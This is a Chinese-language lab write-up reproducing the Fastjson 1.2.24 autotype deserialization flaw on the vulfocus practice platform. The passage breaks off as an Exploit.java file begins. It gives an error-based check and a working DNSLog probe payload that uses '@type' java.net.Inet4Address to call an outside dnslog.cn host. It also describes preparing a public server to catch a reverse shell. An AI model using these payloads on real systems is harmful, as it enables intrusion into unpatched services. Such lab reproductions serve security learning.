漏洞概述
Fastjson 是阿里巴巴开发的一个高性能的 Java 库,用于将 Java 对象
转换成 JSON 格式
(序列化
),以及将 JSON 字符串
转换回 Java 对象
(反序列化
)。
fastjson在解析json的过程中,支持使用
@type字段
来指定反序列化的类型,并调用该类的set/get方法
来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter
方法中,即可构造出一些恶意利用链。
影响范围
fastjson<=1.2.24
复现流程
本次复现是在vulfocus平台,如有侵权,请及时联系删除
复现配置:
win11,阿里云ECS服务器,靶机vulfocus
访问目的地址:
这里通过报错验证存在fastjson漏洞
第一步:验证漏洞
下面是正常回显
修改成post提交,请求体内加一个‘{’使其报错
出现此标志证明存在fastjson漏洞
第二步:利用dnslog回显证明
先将Content-Type: application/x-www-form-urlencoded
修改成json格式:application/json
在加上请求体
{“a”:{“@type”:“java.net.Inet4Address”,“val”:“xxxxx.dnslog.cn”}}
指定反序列化的类型,由于靶机服务器不校验@type,所以造成了漏洞
这里生成一个dnslog地址
请求数据包如下:成功证明存在漏洞
第三步:拿到shell,获取flag
这里因为必须要反弹shell,我们必须要有一个公网ip,所以这里我用了云服务器,
先准备一个Exploit.java文件,内容如下
import java